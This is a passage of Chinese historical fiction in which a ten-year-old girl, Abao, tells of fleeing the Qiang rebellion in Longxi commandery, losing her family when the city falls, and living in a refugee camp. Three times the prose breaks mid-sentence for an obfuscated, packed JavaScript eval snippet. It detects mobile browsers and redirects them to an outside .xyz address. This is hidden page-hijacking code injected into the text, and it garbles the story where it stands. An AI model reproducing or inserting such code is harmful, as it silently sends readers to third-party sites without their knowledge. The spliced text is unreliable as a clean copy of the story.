《明月照阿宝》 1. 炊烟暖 建宁三年的春天来得特别早。 我才睁开眼,一缕阳光已经从窗棂的缝隙钻进来,在金灿灿的尘埃中跳舞。耳边传来阿妈哼歌的声音,轻柔得像初融的雪水。 “狗儿跳,那个猫儿闹,吾家小宝吃糖糕...” 我赤着脚跑出卧房,果然看见阿妈站在灶台前。蒸汽从笼屉里袅袅升起,把她整个人都裹在一团白雾里,像是画里的仙子。 “阿宝醒啦?”阿妈回头看我,眼角弯成月牙,“快去洗脸,糖糕马上就好了。” 我扒着门框不肯走:“阿妈,我要看嘛。” 这是我们家的日常。阿妈蒸的糖糕是整个陇西郡最好的,用上好的黍米磨成粉,掺了蜂蜜和干枣,再撒一层芝麻。每逢集市,她总会多蒸几笼,让阿爹带到郡府分给同僚。 “小馋猫。”阿妈点点我的鼻子,却还是掀开笼屉给我看。白生生的糕体已经膨胀开来,散发着甜腻的香气。 我深深吸了一口气,觉得世上再没有比这更好闻的味道了。 院子里传来鸡鸭的喧闹声,还有兄长阿栋朗读《孝经》的声音。他今年十二,已经能背诵许多文章,爹爹说再过两年就送他去郡学。 我跑到院中,果然见阿栋坐在桃树下,竹简摊在膝上,摇头晃脑地念着。春风吹过,粉白的花瓣落了他一身。 “阿兄,别念了,糖糕快好了。”我扯他的衣袖。 阿栋头也不抬:“莫闹,待我读完这一段。” 我使坏地晃他胳膊,让他读不成句子。他终于放下竹简,一把将我搂住,使劲挠我痒痒:“小坏蛋,看我怎么治你!” 我们笑作一团,惊得院角的母鸡扑棱着翅膀逃开。 这时院门吱呀一声开了,爹爹穿着那身洗得发白的青衫公服走进来。他面色却不似往常轻松,眉头微微蹙着。 “爹爹!”我扑过去抱住他的腿。 爹爹弯腰把我抱起来,胡茬扎得我脸疼,我却咯咯直笑。他身上的味道总是很好闻,是墨香混着青草的气息。 “今日怎么回来得这样早?”阿妈擦着手从灶房出来,敏锐地察觉到爹爹的情绪。 爹爹放下我,叹了口气:“羌地又不太平了。听说湟中义从胡北宫伯玉反了,联合先零羌,已经攻破了几处营寨。” 阿妈手中的布巾掉在地上:“打到哪儿了?” “还在金城那边,离咱们这儿还远。”爹爹压低声音,“但郡守下令加强戒备,明日我要去巡查乡里。” 我看到阿妈的手指微微发抖,但她很快又捡起布巾,强笑道:“总归打不到咱们这儿来。先用饭吧,糖糕都蒸好了。” 那顿饭吃得比往常安静。连最闹腾的阿栋都察觉到了什么,乖乖扒着碗里的黍米饭,不敢多言。 夜里,我躺在床上,听见爹妈在隔壁低语。 “...真要打起来,咱们这离陇西郡城还有三十里路...”是阿妈的声音。 “放心,我已经托人在城中留意住处...只是预防万一...”爹爹安慰道。 我翻了个身,很快进入梦乡。七岁的孩子还不懂什么叫做战争,只觉得有爹妈兄长在,天塌下来也不怕。 第二天,爹爹一早就出门了。阿妈照常织布,我和阿栋在院里温习功课。 阿栋教我认字,在沙盘上一笔一划地写:“这是‘安’,平安的安。” 我歪着头看:“为什么‘安’字是个女人在屋顶下?” “这说明女子在家中最平安。”阿栋一副小夫子的模样。 我噘嘴不服:“那男子呢?男子不在家里吗?” 阿栋被我问住了,支吾半天答不上来。我得意地笑,在他的沙盘上画了一只小鸡。 午后,阿妈让我们去村口李婶家送新织的布。李婶家的郎君在郡中当差,时常带来些城里的消息。 见到我们,李婶抓了把干枣塞进我们手里:“好孩子,难为你们跑这一趟。”她压低声音对阿妈说,“听说没?羌人已经打到狄道了!” 阿妈手中的布匹险些落地:“狄道?那不是离咱们这才百多里?” “可不是嘛!我家那口子说,郡里大人们都慌着呢。”李婶神秘兮兮地说,“都说这次羌乱不同往日,北宫伯玉麾下有数万人呢!” 回家的路上,阿妈一直沉默着。春风依旧和暖,吹动田里刚抽穗的麦苗,远处青山如黛,一切看起来都那么宁静美好。 然而空气中似乎有什么不一样了。村里的人们不再站在门口闲话,而是匆匆走过,面带忧色。连平日里最爱聚在村头老槐树下下棋的老翁们都不见了踪影。 第三天,爹爹回来了。他风尘仆仆,眼窝深陷,像是几天没睡好。 一进门,他就对阿妈说:“收拾收拾,咱们明日去郡城。” 阿妈正在纺线,闻言线锤都掉了:“这么急?” “叛军离此地不过百余里了,骑兵一日可至。”爹爹声音沙哑,“郡守已经下令,让周边乡民暂避城中。” 阿妈愣了片刻,然后迅速行动起来。她翻出几个大包袱,开始收拾衣物被褥。我和阿栋站在一旁,不知所措。 “还愣着干什么?”阿妈头也不抬,“阿栋,去把地窖里的粮食装袋。阿宝,把你的玩具和衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530059|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裳收拾好。” 我跑回屋里,看着满床的布偶和小玩意,不知该带什么好。最后只抓了阿妈给我缝的小布虎,和去年生辰爹爹送我的桃木梳。 阿妈进来,看见我手中的东西,眼圈突然红了。她打开衣柜,取出一个精致的木匣:“这个也带上。” 我知道那里头是她的嫁妆——一对银镯子和几件首饰。平日里只有过年时见她戴过。 傍晚,我们坐在院里用最后一餐家宴。阿妈做了烙饼和黍米粥,还有我最爱的腌芥菜。糖糕已经没有了,黍米要留着路上吃。 桃树在暮色中静静立着,才结的青果只有指甲盖大小。母鸡已经入窝,偶尔发出一两声咕咕。这一切我都熟悉得不能再熟悉,从未想过有一天要离开。 “等乱事过了,咱们就回来。”阿妈摸着我的头说。 爹爹点头:“最多三五个月。羌人掠够了财物,自会退去。” 阿栋挺起胸膛:“我会保护阿宝的。” 我靠着阿妈的膝盖,心里有些害怕,又有些莫名的兴奋。郡城是什么样子?听说那里的城墙有十丈高,街市上什么都有得卖。 夜里我睡不着,溜到院中看星星。东汉末年的星空格外清晰,银河如练,横贯天际。凉州地处西北,星子仿佛触手可及。 阿妈走出来,给我披上外衣:“怎么还不睡?” “阿妈,郡城有多大?比咱们村大多少?” 阿妈笑了:“大得多啦。城里有好多条街,街上都是铺子,卖布的、卖米的、卖陶器的,还有说书先生呢。” “那咱们去看说书先生好不好?” “好,等安顿下来,带阿宝去听书。”阿妈轻声哼起歌来,“春风摇,那个柳叶俏,燕子点水绕...” 我在歌声中昏昏欲睡,最后记得的是天边那轮将圆未圆的月亮,明晃晃地照着小院,一切都笼罩在柔和的银辉里。 那时我不知道,这是我在家中的最后一夜。也不知道这场动乱会持续十余年,席卷整个凉州,牵动大汉王朝最敏感的神经。 更不知道这一别,故园再难回。 第二天清晨,我们背着行囊锁上门时,村里的炊烟才刚刚升起。邻居站在门口与我们道别,相约乱平后再聚。 我回头望了又望,把我们的小院刻进心里:低矮的土墙,绽花的桃树,咕咕叫的母鸡,还有檐下那一串风干的红椒。 风渐起啊,路渐遥。遥望故土魂梦心头绕。 那时的我还不懂这句歌谣的意思,只是牵着阿妈的手,一步一步走向未知的远方。 而我们的故事,才刚刚开始。 2. 风渐起 中平元年的春天,我已经十岁了。 三年时光在孩童身上留下明显的痕迹。我长高了不少,阿妈的旧衣裳改一改,我穿上刚好合身。头发也长了,能梳成两个小髻,用红绳扎着。 边境的战事如野火般时起时灭,烧不尽,扑不灭。我们的小村还算安宁,但爹爹脸上的愁容越来越深。他如今在郡府中担任书佐,常常深夜才归,带着一身疲惫和说不清的忧虑。 四月初的一天,爹爹罕见地在日头偏西时就回来了。他没有像往常那样先抱抱我,而是径直走向灶房,对正在做饭的阿妈低声说了些什么。 我正蹲在院里喂鸡,看见阿妈手中的锅铲“咣当”一声掉在地上。 “当真?”阿妈的声音发颤。 爹爹沉重地点头:“消息确凿。北宫伯玉和李文侯拥立湟中义从胡首领为主,联合先零羌,聚众十余万,已经攻破金城,杀了太守陈懿。” 我屏住呼吸,连鸡群咕咕叫着围过来啄食都忘了赶。 “打到哪儿了?”阿妈问,声音轻得几乎听不见。 “昨日传来的消息,叛军已至狄道,离陇西郡不到百里。”爹爹叹了口气,“郡守下令,让周边乡民暂避城中。” 阿妈愣了片刻,然后迅速用围裙擦擦手:“我这就去收拾。” 这一次,我不再是七岁时那个懵懂的小孩。三年间,我听够了战乱的传闻,知道“羌乱”意味着什么。去年邻村遭劫,幸存者逃到我们村时,身上的伤痕和眼中的恐惧,我至今记忆犹新。 我默默走进屋里,开始收拾自己的东西。阿妈给我的小布虎已经旧了,一只眼睛脱落,但我还是把它塞进包袱。还有爹爹给我削的木剑,阿兄教我认字用的沙盘——虽然知道带不走,还是摩挲了好一会儿。 阿栋从外面回来,额上带着汗珠。他今年十五,已经是个半大小子,时常跟着村里人去乡勇操练。 “阿爹,我听说......”他话没说完,看见我们在收拾行装,顿时明白了。 爹爹拍拍他的肩:“去地窖,把粮食装袋。挑轻便耐存的。” 那一夜,家里静得可怕。连平日里最爱聒噪的蟋蟀都噤了声,仿佛也知道大难将至。 第二天天未亮,我们就起身了。阿妈蒸了最后一笼糖糕,分给我们每人一块:“路上吃。” 我小口小口地咬着,甜味在口中化开,却带着说不出的苦涩。这一次,阿妈没有哼歌。 村里的气氛也不同往日。鸡鸣声中,家家户户灯火通明,人们默默地打包行装,脸上写满焦虑和不安。 李婶一家与我们同行,她家郎君在郡府当差,早已在城中租下一处小院。 “听说叛军中有个叫边章的,原是凉州从事,熟知地理形势。”李婶压低声音对阿妈说,“这下可糟了,自己人反叛,比羌人还难对付。” 阿妈蹙眉不语,只是紧紧握着我的手。 日出时分,村口已经聚集了不少人。推独轮车的,挑担子的,扶老携幼的,个个面带忧色。小娃娃们还不懂事,在人群中嬉笑打闹,被大人低声呵斥。 里正清点人数,高声嘱咐:“大家紧随队伍,莫要走散。遇到官兵盘查,如实相告便是。” 爹爹与几位长者在前引路,阿栋帮我背着包袱,紧跟在后。 离开村子时,我最后一次回头。我们的土屋静静地立在晨曦中,桃树花已落尽,结满青果。母鸡不知灾祸将至,还在院中啄食。 风渐起,吹动我的衣袂。前方的路蜿蜒曲折,通向未知的远方。 走了约莫一个时辰,日头升高了。四月的阳光本该和煦,照在逃难的人身上,却显得格外刺目。 队伍拉得很长,像一条疲惫的巨蛇,在黄土路上缓慢爬行。没有人说话,只有脚步声和车轮碾过路面的吱呀声,偶尔夹杂着孩子的哭闹。 我扯扯阿妈的衣角:“阿妈,唱首歌吧。” 阿妈摇摇头,目光始终望着前方:“现在不唱,等到了城里,阿妈天天给你唱。” 正午时分,我们在一条小溪边歇脚。人们取出干粮,就着溪水啃食。阿妈把糖糕分成四份,每人一块。我舍不得吃,攥在手里,等它被体温捂得软了,才小口品尝。 溪水清澈见底,几尾小鱼游来游去。我蹲在水边,看它们灵活的身姿,一时忘了烦恼。 “快看!”突然有人惊呼。 远处天际升起一股黑烟,在湛蓝的天空中格外刺目。 “是狄道方向......”有人颤声说。 人群骚动起来,窃窃私语声如潮水般蔓延。爹爹站起来,极目远望,面色凝重。 “继续赶路。”他最终说道,“务必在天黑前赶到郡城。” 队伍再次启程,这一次步伐明显加快了。人们不再沉默,而是交头接耳,议论着那柱黑烟意味着什么。 我听见“屠城”、“劫掠”等字眼,虽然不全明白,但心中莫名地害怕起来,紧紧抓住阿妈的手。 阿妈低头对我笑笑:“莫怕,陇西郡城墙高厚,叛军打不进来的。” 然而她的手掌心全是汗。 越靠近郡城,路上的人越多。从各乡各里逃来的难民汇成一股股人流,最终都奔向同一个方向。有骑马乘车的大户,更多的是像我们这样徒步的平民。 我看见一个妇人背着婴儿,手里还牵着个三四岁的男孩,步履蹒跚。男孩走不动了,哇哇大哭。妇人无奈,只好将他抱起,艰难前行。 阿妈从我们的包袱里取出一个饼子,塞给那妇人:“给孩子吃点吧。” 妇人千恩万谢,几乎要跪下来。 日头偏西时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530060|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们终于看到了陇西郡城的轮廓。青灰色的城墙在夕阳下泛着冷光,果然如传说中那般高大雄伟。城楼上旗帜招展,兵士的身影如蚂蚁般来回巡逻。 城门外已经聚集了成千上万的难民,或坐或卧,黑压压一片。哭喊声、叫骂声、兵士的呵斥声混杂在一起,吵得人头昏脑涨。 “排队排队!不得拥挤!”守城兵士高声喊道,手中的长戟在夕阳下闪着寒光。 我们排在人流中,缓慢向前移动。空气中弥漫着汗味、尘土味和一种难以言喻的焦虑气息。 阿栋紧紧拉着我的手:“千万别松开。” 我点头,眼睛却忍不住四处张望。这么多人,都是从哪里来的?他们的家也都被战火威胁吗?乱世之中,平民百姓如草芥,风一吹就散了。 终于轮到我们。兵士检查了爹爹的文书,又打量我们一番:“进城后不得随处驻扎,需有固定住处。” 爹爹连忙道:“已在城中租下院落。” 兵士这才挥手放行。 穿过厚厚的城门洞,仿佛进入另一个世界。郡城内街道纵横,商铺林立,比我们村子繁华何止百倍。只是如今街上挤满了难民,个个面带惶恐,行色匆匆。 李婶的郎君早在城门内等候,引着我们穿过几条街巷,来到一处小院。院子不大,只有两间厢房,但总算有个安身之所。 “委屈诸位暂且在此歇脚。”李叔说道,“城中房源紧张,这处院子还是托关系才租到的。” 爹爹连连道谢:“有劳李兄了。” 安顿下来后,阿妈开始生火做饭。小小的灶房内烟熏火燎,她却似乎安心了许多,至少有个遮风挡雨的地方。 夜里,我们挤在一间屋内歇息。虽然褥子薄硬,但比起露宿野外已是天堂。 我睡不着,透过窗棂看外面的月亮。郡城的月亮和村里的一样圆,只是被高墙遮挡,看不全了。 “阿妈,我们什么时候能回家?”我轻声问。 阿妈在黑暗中沉默片刻,然后唱起那首熟悉的歌谣:“风渐起啊,路渐遥。遥望故土魂梦心头绕......” 她的歌声轻而柔,像一双无形的手,抚平我心中的不安。我在歌声中渐渐入睡,梦见村里的桃树结果了,红彤彤的桃子挂满枝头,我摘下一个,咬下去,汁水甘甜。 不知过了多久,一阵急促的敲门声将我们惊醒。 爹爹起身开门,是李叔站在门外,面色惊慌:“不好了!叛军连夜奔袭,已经到城外二十里了!” 阿妈猛地坐起,将我和阿栋搂在怀中。 郡城的钟声突然大作,一声接一声,急促而恐慌。城外传来隐约的喊杀声,越来越近,越来越响。 风渐起,这场风暴终于还是追上了我们。 而我们的逃亡,才刚刚开始。 3. 离乡曲 中平元年四月廿七,陇西郡城。 破晓时分,我被一阵急促的敲门声惊醒。爹爹早已起身,快步走去开门。李叔站在门外,面色如土,声音压得极低却掩不住颤抖: “叛军距城不足二十里了!郡守下令闭城死守,城外难民...怕是进不来了。” 阿妈手中的木盆“哐当”落地,清水洒了一地。她愣了片刻,随即迅速行动起来,将我们不多的行装重新打包。 “快,带上干粮和水。”她的声音异常冷静,但手指却在微微发抖。 郡城的钟声大作,一声急过一声,如同催命的符咒。街道上传来兵士奔跑的号令声、马蹄声,夹杂着百姓惊恐的哭喊。 我们随李叔一家匆匆出门,汇入涌向城东的人流。爹爹紧握我的手,阿妈牵着阿栋,在拥挤的人群中艰难前行。 “去东门!听说官军在那里布防!”有人高喊。 人群如受惊的兽群,盲目地朝着一个方向涌动。我被挤得喘不过气,只能看见周围密密麻麻的腿和衣摆。 突然,一阵尖锐的破空声自远而近。 “箭!躲开!”有人嘶声大喊。 人群顿时炸开,哭喊声、惨叫声此起彼伏。爹爹一把将我按在墙根下,用身体护住我。箭矢如雨点般落下,钉在土墙上、地面上,还有不幸中箭的人身上。 一个老翁倒在我不远处,胸口插着羽箭,眼睛瞪得极大,望着灰蒙蒙的天空。那是我第一次如此近距离地看见死亡。 “起来,快走!”爹爹拉起我,继续向前奔跑。 阿妈脸色苍白,但仍紧紧抓着阿栋的手。她的发髻散了,几缕黑发被汗水黏在额前。 我们终于挤到东门附近,却发现城门早已紧闭,门前黑压压挤满了想要出城的百姓。 “开门!放我们出去!”人们哭喊着,捶打着厚重的城门。 守城校尉站在城楼上,面色铁青:“奉郡守令,任何人不得出城!叛军已在城外设伏,出城即是死路一条!” 人群更加骚动,绝望的哭喊声震天动地。就在这时,城外传来隆隆战鼓声和隐约的喊杀声,越来越近。 “城破了!西城破了!”不知谁喊了一声。 恐慌如野火般蔓延开来。人群彻底失去控制,四处奔逃,互相推挤踩踏。我与家人被人流冲散,只剩下爹爹还紧紧抓着我的手。 “阿妈!阿兄!”我哭喊着,却在混乱中看不见他们的身影。 爹爹咬牙,一把将我抱起,逆着人流艰难前行。他的呼吸粗重,汗珠从额角滚落,滴在我的脸上。 “抓紧我,阿宝。”他声音沙哑,“无论如何不要松手。” 我们躲进一条窄巷,暂避疯狂的人流。爹爹将我放下,喘着气向外张望。巷外已是人间地狱:哭喊声、厮杀声、火焰燃烧的噼啪声混杂在一起,空气中弥漫着血腥和烟尘的气味。 “在这里等着,我去找阿妈和阿栋。”爹爹蹲下身,抹去我脸上的泪水和污渍,“记住,无论发生什么,都不要出来。” 我死死抓着他的衣角:“爹爹别去!” 他苦笑一下,从怀中掏出一块用油纸包着的糖糕——是阿妈今早偷偷塞给他的。 “吃吧,阿宝。爹爹很快就回来。”他掰了一小块塞进我嘴里,剩下的重新包好,放进我的衣襟。 那糖糕本该甜腻可口,此刻却如同嚼蜡。我看着爹爹转身冲入混乱的街道,青衫很快消失在烟尘和人群中。 时间一点点过去,巷外的喧嚣未减反增。我蜷缩在墙角,听着各种可怕的声音:兵刃相交的铿锵、垂死的呻吟、建筑倒塌的轰响... “狗儿跳,那个猫儿闹,吾家小宝吃糖糕...”我低声哼着阿妈的歌谣,仿佛这样就能驱散恐惧。 不知过了多久,一阵马蹄声由远及近。几个骑兵驰入巷中,看见蜷缩在角落的我,勒住了马。 “还有个小的!”一个满脸虬髯的汉子笑道,手中的刀还在滴血。 我惊恐地向后缩去,脊背紧贴冰冷的土墙。 另一个年轻些的兵士跳下马,朝我走来。他的甲胄上沾满暗红色的血迹,但面容却不似那般凶恶。 “小姑娘,就你一个人?”他蹲下身,声音意外地温和。 我咬着嘴唇,不敢回答。 虬髯汉子不耐烦道:“管她作甚!快点,还要去府库!” 年轻兵士却不为所动,继续问我:“家人呢?” 我终于忍不住,眼泪夺眶而出:“爹爹...爹爹去找阿妈和阿兄了...” 两个兵士对视一眼。年轻的那个叹口气,突然伸手将我捞起:“带你去找家人。” 我挣扎着,但他力气很大,轻易就将我抱上马背。虬髯汉子嘟囔了几句,但也没阻止。 马匹奔驰在满是狼藉的街道上。我紧闭双眼,不敢看周围的惨状,但血腥气却无孔不入地钻入鼻腔。 “你叫什么名字?”年轻兵士问,试图分散我的注意力。 “阿宝...”我小声回答。 他轻笑一声:“好名字。我叫王允,太原人士。那是老张,凉州本地人。” 虬髯汉子老张哼了一声:“跟个小娃娃啰嗦什么!” 我们在城中转了很久,王允不时高声呼喊:“可有人家丢了女娃?约莫十岁,叫阿宝!” 但回应他的只有断壁残垣间的回声。城中烟火四起,许多地方仍在厮杀,叛军与守军展开惨烈的巷战。 天色渐暗,城中的混乱稍歇,但恐惧却未消散。王允找了一处尚未完全烧毁的民宅,将我放下。 “今日找不到的话,明日再寻。”他递给我一块干粮,“吃吧。” 我摇摇头,从怀中掏出爹爹给的糖糕:“我有这个。” 王允的眼神柔和下来:“那你留着。这干粮也拿着,明日或许会饿。” 老张在院子里生了堆火,烤着不知从哪弄来的肉块。油脂滴入火中,发出滋滋声响,香气扑鼻。 “过来暖和暖和。”老张出乎意料地招呼我。 我怯生生地靠近火堆。老张撕下一块烤好的肉递给我:“吃吧,小丫头。这世道,能活一日是一日。” 那肉很香,但我咽不下去。想起巷口那个中箭的老翁,想起可能遭遇不测的家人,喉头就像被什么堵住了。 夜幕完全降临,城中零星还有厮杀声,但大部分区域已经落入叛军手中。王允和老张轮流守夜,我蜷缩在角落里,试图入睡。 “想家人了?”王允值夜时,轻声问我。 我点点头,眼泪又不争气地流下来。 他沉默片刻,突然低声哼起一首陌生的曲调:“家迢迢呀路遥遥,越往西走雁越少...哥哥拉着我的手,他说快呀快快跑...” 我惊讶地抬头:“你也会唱歌谣?” 王允笑了笑:“凉州儿郎哪个不会几首民歌?这是我娘小时候唱的。” “后面呢?”我问。 他继续哼道:“春俏俏呀秋萧萧,跑完一遭又一遭...我的小纸鸢它不见了...” 歌声悠远苍凉,在这战火初熄的夜里格外动人。我听着听着,渐渐合上眼睛。 梦中,我又回到了家乡的小院。阿妈在灶前蒸糖糕,阿爹在桃树下读书,阿栋在院中练剑。我推开门,他们齐齐转头对我微笑... “阿宝,来吃糖糕了...”阿妈招手。 我向他们跑去,却怎么也跑不到近前。他们的身影越来越淡,最后如烟雾般消散。 “阿妈!”我惊叫着醒来,发现天已微亮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530061|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王允和老张正在收拾行装。见我醒了,王允递来一个水囊:“喝点水,我们该走了。” “去找我爹爹吗?”我满怀希望地问。 王允避开了我的目光:“城中局势稍定,我带你去找收容难民的地方。或许...你的家人也在那里。” 我知道他在安慰我。昨日那般混乱,家人重逢的希望渺茫。但我别无选择,只能跟着他们。 走出临时避难所,晨光中的陇西郡城满目疮痍。街道上到处是倒伏的尸体,血迹早已干涸发黑。一些叛军正在清理街道,将尸体堆到一起准备焚烧。 我紧紧抓着王允的衣角,不敢四处张望。 我们来到城西一处相对完好的宅院,那里已经聚集了不少幸存者。男女老少,个个面带惊恐和悲伤,许多人身上带伤。 一个中年文士正在组织人手分发粥食,见到王允和老张,迎了上来。 “王军侯,张军侯。”文士拱手,“多谢二位昨日相助。” 王允摆摆手:“陈先生不必多礼。这女娃名唤阿宝,与家人失散,烦请照料。” 陈先生看向我,眼中闪过一丝怜悯:“放心,我会安置好她。” 王允蹲下身,与我对视:“阿宝,你在此等候,或许家人会来寻你。我...我们要随军开拔了。” 我抓住他的衣袖:“你们要去哪儿?” “北上。听说叛军要攻打冀城了。”他勉强笑了笑,从怀中掏出一枚铜钱,塞进我手里,“留着,或许有用。” 老张也走过来,粗鲁地揉了揉我的头发:“小丫头,好生活着。这世道,能活下来就是本事。” 我看着他们翻身上马,渐行渐远,最后消失在长街尽头。手中的铜钱还带着体温,我却感到一阵刺骨的寒冷。 陈先生牵起我的手:“来吧,孩子。灶上有热粥。” 我随他走进院子,难民们麻木地排着队,等待那碗稀薄的粥水。几个孩童蹲在墙角,眼神空洞,不再有属于那个年纪的光彩。 轮到我时,负责舀粥的妇人特意多给了我半勺:“多吃点,小姑娘。” 我端着陶碗,找了一处角落坐下。粥很稀,几乎能照见人影,但毕竟是热的。我小口喝着,忽然想起什么,从怀中掏出那块糖糕。 油纸已经破了,糖糕碎成几块,沾满了灰尘。我小心地拂去灰尘,将最大的一块放进嘴里。 甜味在口中化开,伴随着回忆汹涌而来。阿妈哼歌的声音,阿爹抱我时的胡茬,阿栋捏我脸蛋的触感... 泪水模糊了视线,糖糕混着咸涩的泪水的味道,奇特而心碎。 “秋风起,草黄了,门口霜雪要来到...”我不自觉地哼起阿妈的歌谣,声音哽咽,“月亮照不到啊我的小阿宝...” 旁边一个老妪听见了,低声接道:“忘也忘不了啊,我滴小阿宝...” 她眼中也有泪光闪烁,想必也想起了远方的亲人。 乱世之中,悲欢相通。 那日下午,我在难民营中四处寻找,希望能看到熟悉的身影。但直到日落西山,依旧一无所获。 陈先生给我找来一床破旧的被褥:“今夜暂且在此歇息,明日再寻不迟。” 我裹着被褥,躺在冰冷的地面上,望着满天星斗。郡城的天空与村里并无不同,星河依旧璀璨,却照不见归家的路。 远处隐约传来歌声,似是叛军在庆祝胜利。歌词听不真切,但曲调狂放不羁,与阿妈温柔的歌谣截然不同。 “爹爹,阿妈,阿兄...”我低声呼唤,盼望着奇迹发生。 但回应我的,只有四月微凉的夜风,和城中断续的犬吠。 那一夜,我第一次真正意识到:我可能再也见不到家人了。 十岁的阿宝,从此只剩一人。 4. 难民营 天光微亮时,难民营便已苏醒。 我在冰冷的土坯地上蜷缩了一夜,浑身酸痛。陈先生分发的那床破旧被褥单薄如纸,根本抵不住四月凌晨的寒意。睁开眼,只见满院横七竖八躺着的难民,大多也醒了,却无人起身,只是睁着空洞的眼睛望着灰蒙蒙的天空。 我摸索着从衣襟里掏出那块用油纸包着的糖糕。经过昨日的颠簸,它已经碎成好几块,但我还是小心翼翼地拈起一小块,放进嘴里。 甜味在舌尖化开,刹那间仿佛又回到了家中灶房,看见阿妈在蒸汽氤氻中回头对我笑:“阿宝醒啦?糖糕马上就好了。” “阿母...”我不自觉地喃喃出声,眼泪又涌了上来。 “想娘了?”旁边那个老妪不知何时醒了,正撑着身子看我。她满头白发散乱,脸上沟壑纵横,但眼神却异常柔和。 我点点头,把糖糕重新包好,塞回衣襟深处——这是留给阿父阿母和阿兄的,我不能独吞。 老妪颤巍巍地从怀里掏出半块干饼,掰了一小半给我:“吃吧,孩子。光吃糖糕不顶饿。” 我犹豫了一下,还是接了过来。饼子又干又硬,嚼在嘴里满是麦麸的粗糙感,但确实是实实在在的粮食。 “谢谢媪。”我小声说,用东汉孩童对老年妇人的尊称。 老妪摇摇头,眼神飘向远方:“我也有个孙女,若是活着,也该你这般大了...” 我们沉默地吃着干饼,院子里渐渐有了人声。婴儿啼哭,妇人低哄,男子咳嗽,还有陈先生指挥人煮粥的吆喝声。 粥锅支起来了,米香混合着烟尘的气息在空气中弥漫。难民们自动排起长队,眼神渴望地盯着那口大锅。我排在中后段,踮着脚往前看,生怕粥又没了。 轮到我的时候,分粥的妇人看了看我瘦小的身形,特意往我碗里多舀了一勺稠的:“多吃些,长身体。” 我感激地点头,端着碗找地方坐下。粥是黍米混着少许豆子煮成的,几乎看不到米粒,但毕竟是热的。我小口小口地喝着,感受那点稀薄的暖意顺着喉咙滑入胃中。 “你叫什么名字?”老妪坐到我身边,问道。 “阿宝。”我说,“冯阿宝。”第一次说出自己的全名,忽然觉得自己长大了些。 “冯家女娃啊。”老妪点点头,“老身姓李,夫家姓王。你父母呢?” 我低下头,粥碗里的倒影模糊不清:“走散了。阿父去找阿母和阿兄,让我等着...”说到这里,喉头一哽,再也说不下去。 李媪长叹一声,粗糙的手掌轻轻拍着我的背:“会找到的,会找到的...老天爷不会这么狠心...” 但她眼中的哀伤却告诉我,她自己也未必相信这话。 喝完粥,我帮着李媪收拾碗筷。陈先生看见我们,招招手:“来来,正好缺人手。” 于是我和李媪加入了难民营的杂役队伍。我负责清洗锅碗,李媪则帮着缝补破损的衣物。活计不重,但能换来午后多一碗粥,我们都心甘情愿。 清洗锅具时,我听到几个妇人在一旁低声交谈。 “听说叛军立了个什么‘平汉王’,要一路打到洛阳去哩!” “作孽啊...这天下何时才能太平?” “咱们还算好的,至少保住性命。西城那边...唉,听说没几个活口...” 我低下头,用力擦洗着锅底,仿佛这样就能擦去那些可怕的想象。 午后,难民营来了几个叛军装束的人。为首的是个三十上下的汉子,甲胄鲜明,腰佩长刀。难民们顿时噤若寒蝉,纷纷低下头,不敢直视。 那人在院中巡视一圈,最后停在粥锅前,舀起一勺看了看,皱起眉头:“就吃这个?” 陈先生连忙上前:“粮食紧缺,只能如此了。” 汉子冷哼一声,对身后随从吩咐了几句。不多时,几个兵士抬来两袋粟米,还有一些腌菜。 “省着点吃。”汉子对陈先生说,“城内粮仓遭了火灾,余粮不多了。” 陈先生连连道谢。那汉子目光扫过院子,忽然落在我身上:“这女娃是?” “昨日城中走散的,叫阿宝。”陈先生答道,“正在寻她家人。” 汉子走近几步,蹲下身与我平视:“几岁了?父母叫什么名字?” 他语气还算温和,但我还是害怕得往后缩了缩:“十、十岁...阿父叫冯安,阿母姓赵,阿兄叫冯栋...” 汉子点点头,对陈先生说:“我记下了。若有消息,会派人告知。”他站起身,又看了看难民营的状况,摇摇头走了。 等他走远,院子里的人才松了口气。李媪拉过我,低声道:“那是韩遂将军麾下的偏将,听说还算讲理。” “韩遂?”我茫然地重复。 “叛军头领之一。”李媪解释道,“原本是凉州小吏,被北宫伯玉他们逼着反了...” 我似懂非懂地点点头。乱世之中,忠奸难辨,我只想知道家人在哪里。 下午,我帮着李媪缝补衣物时,她忽然低声哼起歌来:“爹娘找不到啊,我的小阿宝...爹娘找不到啊,我滴小阿宝...” 我惊讶地抬头:“媪怎么也会这个调子?” 李媪苦笑:“凉州的母亲,哪个不会唱类似的歌谣?老身当年也是这么哄我女儿睡觉的...”她的眼神飘远,“她要是还在,也该有孩子了...或许就像你这般大...” “她去哪了?”我小声问。 